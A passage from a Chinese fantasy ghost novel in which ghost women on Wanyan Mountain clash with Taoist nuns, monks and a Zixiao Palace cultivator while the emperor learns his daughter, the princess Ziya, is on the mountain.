说着,她想起那位在石窟中展开法绳搭救过她们的少年,那少年黑衣宝饰,丰采绝尘,她不禁有些可惜:“也不知那位玄友是不是同门,方才洞窟中烟雾才散,他便也不见了。” 回过神来,她看向二位师姐,又道:“不过据我所知,想着要将万艳山鬼娘娘拿下的僧道无数,他们也都等着机会呢。” 两名素衣女冠觉得她说得有理,便都点了点头,那年长的道:“既然如此,我们不如先去找那些玄友一道?” 三人这才说定,便一道要走,哪知才往前走了没几步,那蓝衣女冠敏锐地瞥向雨雾当中,只见不远处不知何时竟立着一名女子。 那女子撑一把红纸伞,伞上描画着惨白的牡丹。 蓝衣女冠握着手中照明的香珠,她警惕地拧起秀眉:“你是何人?” 那女子的面容隐在伞下一片浓暗的阴影中,令人看不真切,她却在那幽暗之中静静审视蓝衣女冠的一副五官,夜雨沙沙,女子的嗓音柔和:“你手里是东海香珠?听说,千年也难求一颗。” 东海香珠,乃是东海中千年蚌精的内丹,有幽幽异香,佩之不迷途,且有莹莹之光,可朗照一方。 蓝衣女冠瞥了一眼自己手中的香珠,再度看向那女子:“怎么?你看上我的香珠,想强抢不成?” “香珠于我无用。” 那女子似乎在伞下轻轻摇头,蓝衣女冠隐约看见她鬓边的流苏微微闪烁冰冷的光泽,又听那女子问:“你可姓娄?” 蓝衣女冠脸色一变,她身边两名素衣女冠更是立即抽出剑来护到她身前,而这举动无疑也向那女子无声说明了什么,她足下生烟,飞身而起,化为莹白的光,又转瞬在三人面前凝聚身形,蓝衣女冠仰头,手中香珠正好照见那伞下女子一副苍白的真容。 也是此时,两名素衣女冠提剑往上,剑锋却顷刻被素纱披帛挽住,两人立即要挣开,却被那披帛陡然截断剑锋。 清脆的断裂声响起,两名素衣女冠面露惊骇,但她们很快冷静下来,以断剑继续与其缠斗。 蓝衣女冠只看一眼,便知她三人绝非这女子对手,她立即道:“二位师姐,摆阵!” 两名素衣女冠立即要站住阵眼,那素纱披帛却顷刻缠住蓝衣女冠要握住断剑的手,蓝衣女冠神情一变,抬起头,那女子悬在半空,墨蓝的裙摆随风而动,耳边的珍珠耳珰与她鬓边的流苏齐晃。 万艳山上雨雾浓浓,天幕漆黑无边,璇红一路行至照雪坡下,朦胧中,见一簇浓黑的影子。 她落身地上,化出身形,只见不远处那道墨蓝的身影,她没有撑那把伞,手中攥着素白的披帛,披帛另一端,严严实实捆着三个人,她们被塞住了嘴,只能发出些“呜呜”之声,一边被迫向前走着,一边不住地挣扎。 璇红仔细一看,不正是那三名女冠么? 她立即迎上去:“峣雨,快把她们给我!” 峣雨见了她,细长的眉微微蹙起,似乎有些费解:“你是如何出来的?” 璇红根本无法碰触自己的骨灰,她不应该挣脱那红线阵法,除非有人相助,可园中绝对没有哪个姐妹,有这样的本事能破除此阵。 “是不是有道士教你这法子来困我?” 璇红却盯着她,冷笑道:“我以为我将这山上山下的人都杀干净了,没想到你还留着些活口,峣雨,你是鬼,与我一样的怨鬼,我们和道士是不共戴天的,你救他们,又学他们的法子来害我?” 峣雨说道:“我只是希望你将来入了阴司,能少一些罪业。” “阴司?” 璇红哈哈笑道:“那地方,我是绝不会去的!” 照雪坡上,一片浓绿的草木中,霖娘轻手轻脚地隐在暗处,怕被听到动静,她没有撑伞,只觉得这么蹲了一会儿,身上就越来越湿冷,她近前,就是大片的花丛,此时天边没有一点亮光,霖娘没太看清那些花是什么颜色。 她仔细听着底下的对话,却有些听不太清楚,霖娘只得悄悄往前挪了挪,却觉得脚下不慎踩了什么东西,她伸手探去,果然摸到一物,她拿起来一看,恰逢此时天边猛然一阵电闪雷鸣,闪电冷光若劈开雨幕落下来,照见霖娘手中竟然是一颗头颅,那头颅半边脸已经腐坏,另一半边皮肉摇摇欲坠,而她的手正好抓着他的头发。 “啊!” 霖娘吓傻了,她还没听到自己的叫声,却先听到身边春梁的叫声,霖娘一下将头颅扔了出去,却听见浓暗的草木丛中传来一声“哎哟”。 紧接着,一道惊恐的声音响起:“师兄!这谁啊!” 霖娘在园子里追着璇红的踪影跑到角门,正遇见在那里踌躇的春梁,两人一道趁着阵法即将合拢的前一刻溜了出来,一路跑到这儿,哪知道霖娘随手捞起来一颗脑袋,此时也不知道砸着谁了,但很明显,那道声音属于男人! 此时,另一道声音气急败坏,却还本能压低:“不就是颗脑袋,你他娘的出什么声儿啊?打草惊蛇了你懂不懂啊?” 霖娘跟春梁吓得不轻,起身连连后退,此时春梁却觉得霖娘握着她的手越来越湿润,她转头,只见霖娘整个人都不住滴水,她惊诧道:“霖娘,你……你是水鬼?” 霖娘此时方才发现,那道白符不知何时掉了,她却无暇跟春梁解释,那边丛中几道身影已经快速越了过来。 “师兄,先收拾了她们!” 身形高大的黑影最先蹿了过来,千钧一发,霖娘立即将春梁挡到自己身后,她抬手召来水波扑了那人满脸,却实在没什么杀伤力,那人手中剑影闪烁,底下峣雨率先察觉,抬手之际,红伞凭空乍现,飞去坡上。 霖娘最先觉出一道阴冷的风拂过脸颊,随后她转过脸,只见红雾漫漫,那黑影手中之剑瞬间断成几截,掉落在地,红雾拂过,那黑影双手剧颤,像是被火灼烧得筋骨欲裂,他还没来得及呼痛,那红伞尖端重击他腹部,他整个身体都飞入丛中,重重摔下去。 “阿姮……” 红伞下坠,而霖娘愣愣地看着那幽幽浮动的红雾。 伞落在地上的刹那,红雾凝聚成一个女子身形,她站在霖娘面前,看着她浑身潮湿的狼狈样:“你偷偷跟来,有任何作用吗?” 霖娘却看着她,眼眶一下憋红,她一下抱住阿姮:“阿姮,我就知道你会来的!” 阿姮忽然被她抱住,她低头,有些不耐烦地看着霖娘:“我才不想来。” “可是你来了。” 霖娘抽泣着说。 此时,璇红飞身上来,犹如凛风般掠入那凝碧丛中,然而丛中异响全无,早就没有人在了,璇红一下回过头,只见浓浓白雾弥散,方才在那儿的阿姮与霖娘、春梁,甚至那把红伞,都消失不见了。 璇红怒意横生,她奔入花丛,尖锐的嗓音响彻雨幕: “峣雨!你出来!你把她们给我!” 山间还回荡着璇红的声音,而阿姮见眼前白雾淡去,四周漆黑潮湿,但头顶已无雨露,也不知那被披帛束缚的蓝衣女冠身上有个什么东西,幽幽白光照着一片嶙峋石壁,阿姮觉得好奇,走过去,低首凑近那三名女冠。 那三名女冠贴身的黄铜短刃立即震动不停,她们一瞬发觉阿姮乃是妖邪,奈何三人皆被捆缚,挣扎不脱,蓝衣女冠身上的香珠掉在地上,莹光盈满洞窟。 阿姮辨出蓝衣女冠身上的特殊香味,原是来自于此物。 “你属火,最好别碰它。” 阿姮才要捡起来看,却听一道清越的女声落来,阿姮转身,只见那女子手捧烛台,一点火光映照她洁泽纤细的手,她抬袖挥开单薄蛛丝,微微俯身,将烛台放置在石案上,那烛火幽幽映照她一副柔和的眉目:“那是千年蚌精的内丹,属水,你拿着它,不会舒服的。” 香珠的冷光与女子面前的烛火交织两色,她墨蓝的衣摆微透若纱,不知哪里的冷风吹得她广袖翻飞,若粼波层叠。 她并不如璇红绝色,却极具婉约之质,气胜芳兰,浑身上下没有一点锋利的棱角,若涓涓流水,不汹涌,无声势,却可容纳百川。 “是你放了璇红?” 她看着阿姮,问道。 “是啊。” 阿姮亦在端详她:“峣雨国主是要与我算账么?” 峣雨闻言,却是微微一笑,她轻轻摇头,髻边珍珠流苏轻轻晃动:“璇红顽劣,她张口便是花言巧语,我虽不知她与姑娘做了什么样的交易,但请姑娘万不要尽信于她。” “你是说,她在骗我?” 阿姮微微皱眉。 “我倒也不是此意。” 峣雨款步走近她:“只是璇红做人做鬼尚有执迷不解之处,她又如何能够真正解答姑娘你的难题呢?” 阿姮想也不想:“我试试不就知道了?” 霖娘还紧紧拉着阿姮,阿姮有些不耐烦地挣开她,手却不小心勾到两人交错在一起的头发,霖娘是水鬼,头发变得跟海草似的疯长,勾掉了也不痛,阿姮却因为还残留有人类的五感而有些吃痛。 这是她最讨厌的,人类的感官。 “春梁,取梳子来。” 峣雨见此,不由一笑。 阿姮几番穿云过雨,卷曲的长发有些湿润蓬乱,霖娘更没好到哪里去,她沾了雨,身上不但潮湿滴水,头发还长得更多,更长,看起来狼狈极了。 春梁从石案上的匣子里取出玉梳,却看向霖娘,神色迟疑:“国主……她是水鬼。” “我绝不是阴司派来的!” 霖娘拧了一把头发上的水,连忙说道:“我的确是被变作我情郎模样的妖物所害,才会沦为水鬼,但我身上的龙宫宝衣却不是阎王给的,而是我先前受元真夫人点化,是她指引我去东海求来的,我是见你们对水鬼很有敌意,所以才隐瞒下来。” 峣雨闻言,看向她那皂纱底下隐约透露的珍珠云肩,那的确非是凡物,她微微点头:“姑娘果真好造化。” 春梁此时方才松了一口气,也对霖娘放下了戒心,这便扫去石凳上的灰尘,邀她过来坐下:“霖娘,我给你梳头吧,女儿家披头散发很不庄重的。” 霖娘生在黑水村,不知道外面都有些什么规矩,她原先也是喜欢梳头的,只是成了水鬼,头发变得太长,她也没有了原先还是个活人时的那些意趣,此时被春梁按着肩坐下,她还有些恍惚。 阿姮觉得莫名其妙,她才不想在这里耽误时间,但峣雨却轻轻按了按她的手背:“阿姮姑娘,坐吧。” 阿姮垂眸,看着峣雨洁泽苍白的手握着一把玉梳,缓缓梳理起她凌乱微卷的长发,峣雨摘下她鬓边的木簪,只看了一眼簪头如簇的红山茶,那簪子顷刻便从她指缝溜走,落在阿姮手心。 “姑娘的这支簪,是难得的宝物。” 峣雨说道。 那木簪在阿姮纤细白皙的手指间绕了几圈,鲜艳的花朵转瞬破碎成淡淡的金芒,阿姮漫不经心道:“是吗?那你想要吗?” 峣雨眉目清淡,语气不疾不徐:“它是你的东西,谁也夺不走。” 阿姮把玩木簪的手一顿,她抬起头,只见石案上铜镜中映出她身后峣雨的脸,她似乎果真没有任何觊觎之心,而仅仅只是为她梳理了头发。 那三名女冠仍被捆缚在一边,都不再“呜呜”的叫了,而是颇为费解地注视着两个女鬼给阿姮与霖娘梳头。 峣雨很快为阿姮梳理起一个发髻,她甚至将自己髻边的偏凤摘下来,缀在阿姮发上,见阿姮在镜中看她,她唇边浮出淡淡的笑意:“我觉得你会喜欢,所以赠予你。” 阿姮看向镜中的自己,峣雨此时又从她手中取了木簪,簪入她发髻,随后金芒闪烁,簇新的红山茶绽开,更衬她云髻乌浓。 长夜如漆,万艳山下雨雾浓密,一堆僧人道士聚在一处,他们当中有人用术法捻了一点火光在指尖照明,众人也分不清身上到底是雨还是汗,有道士骂骂咧咧:“也不知这鬼娘娘忽然开了什么阵法,竟然如此厉害!已经上山的,下不来,没上山的,又上不去!” “诸位切莫乱了心神!” 他们站位各有讲究,当中有个和尚沉声道:“只要我们协力同心,必然能破此阵!” “可是净空师兄……”离他几步开外的小和尚面露难色,“我,我内急。” 原来,他们正是净空、灵明师兄弟。 “小和尚这个时候你可千万憋住了啊!” 一个年轻道士听他这番话,忙警告道:“你若憋不住,坏了咱们的阵法,一切可都前功尽弃了!” 山脚下两道大阵相抗,更显当中人影若蚁。 程净竹身处浓黑的阴影中,静默地观看不远处那些僧人道士摆出的阵法,周遭雨声沙沙,而他沾衣未湿。 当中不知哪个学艺不精的,符文画少了一撇,而阵中人各自凝神,竟然都没有发现阵眼中的符文有异,难怪耗了这么久。 程净竹抬手,金芒若缕,顷刻投入阵眼之中,那些僧道皆面露惊异,转头望向那片被夜色包裹的山崖。 万艳山压下来的阵法明显有了一阵清脆的碎裂声,那些在此空耗良久的僧道们瞬间精神一振,有一老道笑着喊道:“不知哪位玄友相助,贫道这里多谢了!” 而那净空和尚却觉衣襟中碎掉的法铃在不住的颤抖,明显是有所惧怕,净空和尚面沉如水,望着那片漆黑山崖,低喃:“难道是他?” 这时,那道有了裂痕的阵法运转如梭,猛力往下一压,僧道中有人不禁破口大骂:“谁啊?谁他娘的这个时候心神不宁?” “是不是你啊小和尚?你尿□□里得了!” 那灵明小和尚正拼命凝神聚气呢,听了这番诘问,他只觉得尿意更重,却憋红了脸:“我才不要!” 净空和尚不得不尽快凝神,尽力忽略掉怀中法铃的哀鸣。 万艳山本为帝王行宫所在,当初岐泽国选址在此,也是因为此地的山脉颇合五行,而山中的女鬼颇为聪明地借此山势,精心铸就了一个极为强悍的阵法,程净竹闭起眼,屏息凝神,变换法诀,不断摸索着破阵之法。 山风斜吹雨雾,点滴都避开他的衣袂。 唯独身后一阵阴冷的风,轻轻的,向他而来。 程净竹一瞬睁开眼。 他垂下眼睫,只见一双苍白而纤细的手柔若无骨地环住他的腰身,她绯红的衣袖随风猎猎。 “阿姮姑娘。” 程净竹嗓音冷淡,他仍维持着施诀的手势,岿然不动:“玩够了?” “我明明是被抓去的啊。” 身后,那道女声隐含笑意:“可不是去玩儿的。” 说着,她的手若羽毛一般很轻地上移,程净竹神情冰冷地注视她的手:“放开。” “小神仙,你教我傀儡术好吗?” 阿姮的手停在他胸膛,他原本严整的衣襟也因为她的触碰而显得有些凌乱,掌心被金芒刺得发麻,阿姮却没有松手,但指尖也没有越过他的衣襟往里面去。 她很谨慎地停在那儿,笑盈盈地说:“我也想变个布娃娃玩儿。” 湿润的雨雾中,阿姮望着这黑衣少年宽阔的肩背,她忽然有些不满,为什么她的这副壳子不如他高大呢?雨珠缠绵似的划过她耳垂,她想到那园内楼阁中,璇红曾在她耳边的低语,她抬起眼帘,注视着少年银灰的发髻,他黑色的发带轻轻扬起,擦过她的脸颊,她忽然踮起脚,身躯紧贴他后背,那双眼睛微垂,她没有分毫人类的呼吸,但程净竹却避无可避地领略到她阴冷的声息。 “阵要破了!” “要破了!” 山脚下,传来僧道们激昂的声音。 这一瞬,阿姮的脸颊轻轻蹭过程净竹耳后,程净竹掐诀的手指骤然一屈,手背筋骨紧绷,他立即收手,周身金芒一现,阿姮顿时被一阵强烈的气流震飞出去。 山脚下的僧道们就等着这最后一哆嗦了,哪知道背面山崖上的金芒骤然消失,他们顿感头顶的阵法又重了不少,一时间,人声嘈杂。 “哎!对面崖上的玄友!你怎么收手了呢!” 有老道哀叹。 山崖上,阿姮双手撑在地上,她看着那黑衣少年分明滴雨未沾,但不知为何,他额头却隐隐有了些细微的水泽,他胸膛起伏一阵,看向她的目光犹如寒刺似的要将她扎穿,可薄红似乎从他后颈蔓延至耳廓。 他回过头,看了一眼底下那些僧道,既然阿姮已经出来,那么他也没有必要再与这些人一道破阵。 “你待在这里,哪里也不要去。” 程净竹没有回头看阿姮一眼,几乎话音才落,他身影便化为一道金光,掠去天际,阿姮仰头,望着天上划过的金芒,她仍躺在地上,一手撑着下巴。 “……我就知道,那璇红没教你什么正经的东西!” 霖娘没有阿姮跑得快,她来得也不那么及时,恰好就在阿姮抱住那程公子的当口,她是出来也不是,不出来也不是,于是只好隐在暗处。 霖娘满头大汗地从阴影里走出来,蹲到阿姮面前,苦口婆心:“那璇红见的都是什么?是那些色胆包天的登徒浪子,可程公子他是修行之人,是个清心寡欲的正人君子,你这样,他只会对你退避三舍!” 阿姮愤愤地揪着地上的枯草:“什么是退避三舍?” “就是躲着你,避开你。” 霖娘说道。 阿姮抬头看着黑漆漆的天空,那道金芒早就不知所踪了,她有点烦:“哦,他已经对我退避三舍了。” 不同于巢州的连绵夜雨,天都则是一个晴夜,秋风还不算料峭,皇宫金殿上,一派灯火通明。 张相国立在阶下,俯首道:“陛下,巢州万艳山中恶鬼作祟,已为祸数年,以至于当地百姓苦不堪言,这些年来,不知多少男人深受其害,长此以往,恐怕贻害无穷啊!” 岐泽国虽是小国,但这金殿却富丽辉煌,那皇帝不过五十来岁,此时端坐在金椅上,听见相国的话,他叹了口气:“朕自然也知道这些,只是这些年去万艳山收服鬼祟的和尚道士那么多,却没一个能做得到,难道是他们当中没一个有真本事么?” “陛下,”张相国上前几步,说道,“这几年去的和尚道士虽多,可他们说到底,都是零零散散,自然不成气势,依臣来看,不若这回,陛下下旨,让整个天都的道观都往巢州镇压鬼祟,还有……” “还有什么?” 皇帝看着他。 张相国垂首道:“陛下身负真龙之气,所以邪祟莫敢靠近,若陛下亲自前往巢州,必定能使万艳山鬼祟尽除,届时,巢州百姓都会感恩陛下!” 皇帝闻言,却神色一凛,他想起那座万艳山,原先还曾叫做苹山,他淡淡凝视张相国,张相国一时冷汗涔涔,忙低下头去:“陛下恕罪,臣……失言了!” “朕看你是昏了头了。” 皇帝冷笑:“不过一山鬼祟而已,又不是国战,朕有什么必要亲往?” 张相国立即跪下去,俯身正欲请罪,却听一阵急促的步履声传来,回头之际,只见门口兵士们将那急匆匆奔来的人拦了下来。 那人一身灰白道袍,惊慌之下抬头望见殿内的皇帝,他便立即跪下:“陛下!天极观弟子传信回来,说公主现在巢州!” 皇帝脸色骤然一变,他站起身:“什么?紫芽不是去南边别国寻上清紫霄宫的所在了吗?怎么又转道去了巢州!” “公主根本就是直奔巢州而去!” 那天极观弟子俯首道:“陛下,跟随公主的女弟子在信上言明,她们劝不住公主,只能一路相随,可如今,公主她一心要去万艳山除鬼祟啊!” 皇帝神情变得沉重起来,他这些年仅有一双儿女,儿子为太子,十分勤勉,只是女儿紫芽却十分令他头痛。 先是为躲避他指给她的婚事而入天极观为女冠,如今又跑到巢州去捉什么鬼祟,实在半点不省心! “陛下,公主她修行尚浅,若真去了万艳山……” 张相国嘴唇抖动。 “她已经去了。” 这时,金殿中忽然响起一道清冷的嗓音。 “谁?” 张相国一下起身,睃向四周,殿中护卫亦立即抽出刀剑来,一时刀锋林立,众人只见淡淡的金芒流转,逐渐凝成一道身影。 那是个黑衣宝饰的少年。 他发若银灰,眉心一点红痣,双眸冷若冰霜,不过扫了一眼那些围上来的护卫手中的刀剑,顷刻,锋刃齐断,坠落一地。 众人大惊失色。 皇帝亦警惕非常,他沉声道:“你是谁?” 程净竹微微颔首:“上清紫霄宫弟子,见过岐泽陛下。” “……上清紫霄宫?” 皇帝面露惊诧,他上下审视这少年,想起来他似乎曾听人说过,上清紫霄宫弟子眉心都有一道红痣般的戒痕。 但皇帝仍半信半疑。 程净竹也不在乎这皇帝信或不信,他出不枯谷时,曾在其中见到过几片断刃,那断刃轻薄,一看便是那几个女冠用过的。 他对皇帝道: “陛下的公主紫芽如今已在万艳山,若陛下不往,恐怕公主性命难保。” 第27章 第27章 “你不是想上山吗?我送你去…… 027: 一盏烛火点缀昏昧的洞窟, 嶙峋石壁上潮湿的水气若缕,峣雨盘坐在石台上,凝神闭目,春梁守在一边, 不敢发出一点声音。 那三名女冠挣不开束缚, 也就不再空耗气力了, 各自低首,也不知在想些什么,这时, 石台上峣雨忽然眉心一皱, 紧接着她紧绷的双肩骤然卸了力道, 周身一阵罡风散开, 四周石壁震颤,烟尘突起, 碎石滚落, 她身子一歪,一下倒在石台上。 “国主!” 春梁踉跄几步, 忙稳住身形, 上前去扶住峣雨。 “看来你的压山阵也不过如此。” 峣雨乍听这道慢悠悠的, 娇腻的女声, 她抬起脸, 看向甬道口,那女子红妆未卸,风姿袅娜, 她停在那儿,略略打量一番四周凹凸不平的石壁,以及洞窟中十分粗陋的陈设, 她细长的眉轻轻皱起,像是嘲讽:“你这么多年都是在这种地方修炼?明明园子里那么好,有那么多的姐妹为伴,你却偏偏在这种地方做苦行僧?” “她们都以为你如何厉害,”女子娇笑着,“可山下那些和尚道士已经将你精心铸就的压山阵撕开一道裂口,要不了多久,他们就都会上山来。” 峣雨自然最清楚自己的阵法此时是个什么状况,但奇怪的是,阵法出现那道裂口后,山脚下那帮僧道的力量便又忽然减弱了些,他们真要破她的阵,只怕还要些时间。 “璇红。” 峣雨被春梁扶着坐起来:“都到了这个时候,你还要与我针锋相对吗?” 璇红面上神情凝滞一瞬,她像是下意识地想说些什么,但见峣雨云髻松松,一副虚弱之态,她一下撇过脸,目光陡然凝在那三名女冠身上,她阴寒的视线在三人之间流转,三名女冠与她视线相对,皆不由胆寒。 “是你吗?” 璇红的声音轻飘飘的,她阴寒的目光最终钉在那蓝衣女冠身上:“你姓娄,对吗?” 蓝衣女冠心中虽有些惧意,却依旧抬着下颌,她刚想出声却发觉自己嘴巴被塞得严严实实,但璇红凝视着她眉目之间的骄矜之色,轻声笑起来:“看来你长得像你母亲,而不像他,否则,一开始我就该知道你是谁。” 蓝衣女冠闻言一怔,她望着那鬼娘娘,似乎有些费解。 璇红眼底的笑意陡然冷透,她身化白光迅速朝三名女冠而去,蓝衣女冠眼睁睁见她再度凝出身形,随后长而尖利的指甲朝她袭来。 这时,一柄红伞乍现,蓝衣女冠只见璇红的指甲刺穿伞纸,那锐利的指甲尖端离她的脸不过寸许,蓝衣女冠眼睑颤动。 纸伞破损处不断挤压着璇红的指甲,璇红立即收手,那红伞破口转瞬完好如初,而几片断裂的,鲜红的指甲落去地上。 璇红猛然转过头,眼眉戾气横生:“峣雨!你护着她!” 峣雨端坐石台:“她人在万艳山,你我的目的便已经达到了,如今,我们唯一要做的事情,便是等。” 她又抬手在虚空中画阵,虽不与山脚下那些僧道面对面,但双方阵法之间的缠斗却一直没有停止。 山脚下,失去了神秘玄友相助的僧道们正苦苦抗衡着那像一坐山压在他们身上的阵法,灵明小和尚终究憋不住尿了,此时正羞耻得哭了起来,却也没敢放松对抗。 “哭哭哭,不就尿□□吗?有什么好哭的?” 一老道满头大汗,听这哭声听得烦,他一边勾描符文,一边说道:“你尿在这阵法里,也正好让那鬼娘娘好好尝一尝你的童子尿!这帮女奸细,生前趋承冯寅,死后也他娘的不消停!” 他的声音随着符文一齐冲向头顶的压山阵,顿时响彻山中洞窟,峣雨一瞬抬眸,果然见璇红神情陡然狰狞,那种狰狞几乎冲破她姣好的皮囊,使她的脸看起来异常可怖,峣雨心中一沉,忙唤:“璇红……” 她话音未尽,却见璇红周身黑云暴涨,直奔那三名女冠而去,峣雨一掌拍在石台上立即借力飞身去拦,璇红探向那蓝衣女冠的手陡然一转,一掌落在峣雨身上,峣雨被这猛力一掌震飞出去,倒在石台底下。 “国主!” 春梁大惊失色,立即去扶峣雨,又转过脸:“璇红姐姐!你怎么可伤了国主!” 璇红周身黑气弥漫,更衬她裙摆艳丽,她看着被春梁揽在怀中,一手捂住胸口,脸色惨白的峣雨,嘴唇微抿了一下,却又猛然转过身,一手将那蓝衣女冠抓了过来,也因此,峣雨困住三人的束缚失效,那两名素衣女冠立即摸出怀中的黄铜短刃刺向璇红,璇红仰面后避,唇边衔着冷笑,一个旋身,红艳艳的指甲抓破一名女冠的肩背,又一脚踢在另一名女冠的腹部,两人齐齐飞出去,后背撞上石壁,摔在地上。 “璇红!” 峣雨注视着璇红周身若焰火般烈烈燃烧的黑气,她艰难道:“你身上是什么?” 璇红抓着那蓝衣女冠,缓缓回过头来,那张美丽的面容阴沉而冷漠,她的声音却很轻:“怎么?接受不了我比你强的事实吗?若不是你用我的骨灰骗我,我会上你的当?” 峣雨神情冷静:“我在问你,你身上是什么?” “是我的造化啊。” 璇红笑起来,她居高临下般睨着峣雨:“可惜你苦苦修行几十载,终不如我哈哈哈哈哈!” 她忽然又收敛笑容,恶狠狠地瞪着峣雨:“我劝你最好还是省省力气!别再耗费自身修为去补什么压山阵了,你已经为他们所伤,倒不如放他们都上来!” 璇红说着,阴毒幽怨的目光落在被她攥住脖颈的蓝衣女冠身上:“我会让他们一个一个死得很惨……” 说罢,她转过身,抓着蓝衣女冠,身化流光,飞出洞窟。 外面天色仍旧未亮,雨却有转小的趋势,万艳山下“砰”的一声巨响,强烈的白光四散奔溃,转瞬消弭,阿姮还躺在草地上生闷气,只见眼前白光一闪,她立即从山崖边探出头去,只见对面山脚底下,那些僧道正一片欢呼。 “终于将这鸟阵给破了!”那老道长舒一口气,哈哈笑道。 而那灵明小和尚正一脸难为情的抓着湿漉漉的□□,无助地仰望他的师兄净空,净空和尚将自己的外袍解了下来给他。 “谢谢师兄!” 灵明小和尚吸吸鼻子,破涕为笑,接过袍子拴在腰间,随后将自己被尿湿的裤子给脱掉。 “小和尚也太矫情,要我说,你小小年纪,就是光个腚又有什么的?” 有道士笑他。 灵明小和尚一下绷紧脸,躲到师兄身后,不理他。 “好了,既然这阵已经破了,咱们便上山去吧,”那老道神情严肃了些,对众人道,“这山中古怪,诸位既都是为除魔卫道而来,那么便索性一道,人多一些,也可防备那鬼娘娘再出阴招。” 其他人都认为他说的有理,便都点头赞同。 “诸位且慢,”净空和尚说着,倏尔回头,一双眼睛盯住对面夜幕笼罩之下,轮廓模糊的山崖,朗声道,“对面山上的玄友,不知你方才为何忽然收手啊?” 方才那阵白光散开,阿姮便望见底下那净空和尚增光瓦亮的脑袋,此时风雨瞑晦,她轻声笑道:“当然是发现你这老秃驴在此,不愿帮你罢了。” 山脚下众人都听见这道随风而来的女声,空灵悦耳,缥缈至极。 那净空和尚一愣,怎么是个女子? 很快,他反应过来,莫非是那野店中的女妖? 山崖上,霖娘连忙拽阿姮:“阿姮,你出什么声啊!那和尚是见过我们的!” “你以为,我不出声,他就不会上来一探究竟?” 阿姮淡淡瞥她一眼。 正是此时,风中传来一阵轻微的动静,阿姮敏锐地抬眼,随后一把抓住霖娘,整个人从地上腾空而起,一个旋身,躲开袭来的那物。 霖娘被阿姮带着落在地上,不禁往后退了几步,她勉强稳住身形,站在阿姮身后,抬起头只见不远处多了一道身影。 正是那净空和尚。 而净空和尚亦在看阿姮与霖娘,他的目光在她们之间来回,最终,他视线定在阿姮身上,不同于野店中她披头散发,坐在桌边身姿歪斜的慵懒,此时她云髻峨峨,髻边辑珍珠三尾偏凤的鸟喙衔一绺珍珠流苏,那珠光轻摇,映照她弯眉若黛,眼波盈盈。 净空和尚目光在她髻边鲜红娇艳的山茶花停留一瞬,他抬手,那方才袭向阿姮的东西回到他手中,阿姮见他手中那个损坏得不成样子的法铃,不由笑道:“这才多久不见,怎么法师的铃铛就成了破烂?” 净空和尚脸色一瞬铁青:“妖孽!” 底下山脚下,老道掏了掏耳朵:“哎,那净空法师喊的什么?妖孽?是妖孽吗?” “不可能!方才助我们的分明是一位玄友,若是妖孽,我的师刀怎么可能没反应?”一名年轻道士摆摆手。 他话音才落,对面崖上忽然红云大涨,紧接着他怀中的黄铜短刃刀柄上铜钱猛撞,震动不止。 其他道士身上的师刀也齐齐震响,尖锐刺耳。 众人脸色骤变。 崖上,阿姮见净空和尚操控法铃化出金光之刃朝她袭来,她拉着霖娘化为红云散开,又飞快凝出身形,只见那破烂法铃不依不饶,她一抬手,头上木簪顿时花消叶散,落入她掌中化出几尺长的模样,她反手握住,枝尖击中那响个不停的法铃,一声脆响,净空和尚只见法铃落地,碎成烂渣。 “你!” 净空和尚神色一凛,他立即飞身上前双掌打向阿姮,阿姮的身影却如雾消散,又转瞬凝聚在他身后,她阴冷的声息若风拂来,净空和尚后背一僵,只听她幽幽道:“看来没有了那法铃,你也不过如此。” 净空和尚一个侧身,以龙虎之势攥紧双拳朝她打去,可他的千钧力道再度扑了空,阿姮身影淡去成雾,净空和尚心中恼怒,一双眼睛蓦地转向不远处的霖娘,霖娘顿时心中凛寒,她连忙后退,那净空和尚一个跃身上去,双手即将碰到霖娘的刹那,一缕红雾陡然缠住他的双腕,净空和尚脸颊肌肉颤动一下,他心中暗道不好,想要挣脱却竟然挪不动一步,他终于意识到自己小看了这妖邪! “什么妖孽竟敢在此作乱!” 此时天边一声大喝传来,净空和尚回头,只见是自山脚下御剑而来的老道,他身后则是其他僧道,他们正不断迫近。 净空和尚心中一定,不过瞬息,他抬起头望见阿姮一张近在咫尺的脸,那无疑是一张美艳非常的脸,但她的神情,却不是人类的神情,她微微一笑,净空和尚忽然心中不可抑制地一跳,就在这神摇刹那,他听到她轻快的声音:“你不是想上山吗?我送你去啊。” 净空和尚还没来得及反应,阿姮笑意盈盈的,抬手一挥万木春,金芒若缕击中净空和尚腹部,巨大的冲击将他整个人都带出去,伴随一阵金色流光,“砰”的一声猛然炸开在对面那座巍峨的万艳山上。 老道与众人落在山崖上,被那巨大的轰鸣声吓了一跳,他们齐齐回头看去,只见万艳山上金芒若焰,在苍翠的林木中铺开熠熠明光。 那光芒映照他们一张张惊异的脸庞,老道一下转过脸去,山崖上,草木如墨,雨雾淡淡,哪里还有什么净空和尚,更没有什么妖孽。 众道士怀中的师刀俱静。 第28章 第28章 “我也想去月亮上做仙子,做…… 那片炸开的烈焰金芒惊动了璇红, 她停在照雪坡上,远远眺望了一眼,此时山坡底下晴芸领着二十来个鬼女飘然而至,璇红立即问道:“那边怎么回事?” 晴芸摇头, 她也不清楚, 只道:“璇红姐姐, 国主的压山阵被那些僧道给破了。” 璇红扫了一眼被几个鬼女用披帛拖行在地上的几个道士打扮的人,她红唇微露冷意:“破了便破了,正好等他们上山来, 我好杀个痛快啊。” “方才在此装神弄鬼的, 只这几人?”璇红又问。 那晴芸摇头, 有些羞惭, 欠身道:“不,还有一个年纪老些的, 他道术算得精湛, 我们姐妹拿不住他,被他跑了。” 璇红倒也没有任何恼怒, 她瞥了一眼被自己掐住喉咙的蓝衣女冠, 这女冠虽然神志清醒, 经脉却已经被封闭, 浑身无力, 动弹不得,璇红笑起来,嗓音娇细:“没关系, 你们先将这几个家伙带去洞里。” 万艳山很大,山脚下那些道士即便摸上山,要找到她们却还很要费一番工夫, 也正因为万艳山的巍峨,璇红才总能躲在峣雨眼皮子底下杀人,她所说的洞,只有她与晴芸这些姐妹知道,那洞在一处缭绕山崖下边,两块巨石相抵,成一道狭窄的缝,被葱茏的草木掩盖着,穿过那缝隙,里面开阔了些,越往里,地上一道裂缝越宽,那裂缝最宽处,是像碗一样圆的一个地洞,那地洞很大,很深。 晴芸与姐妹们将那几个昏迷过去的道士扔了下去,顿时激荡起一阵水声,紧接着,那些道士开始猛烈地咳嗽,一时间都呛得醒了过来。 “这,这是哪儿啊?” 最年轻的那道士被冷透骨髓的水一激,浑身都打了一个寒颤,他望向四周,可四周漆黑极了,他们几人听着彼此的声音,在水中聚到一起,心中方才安定些许,岂料此时,头顶忽然亮起幽幽绿火。 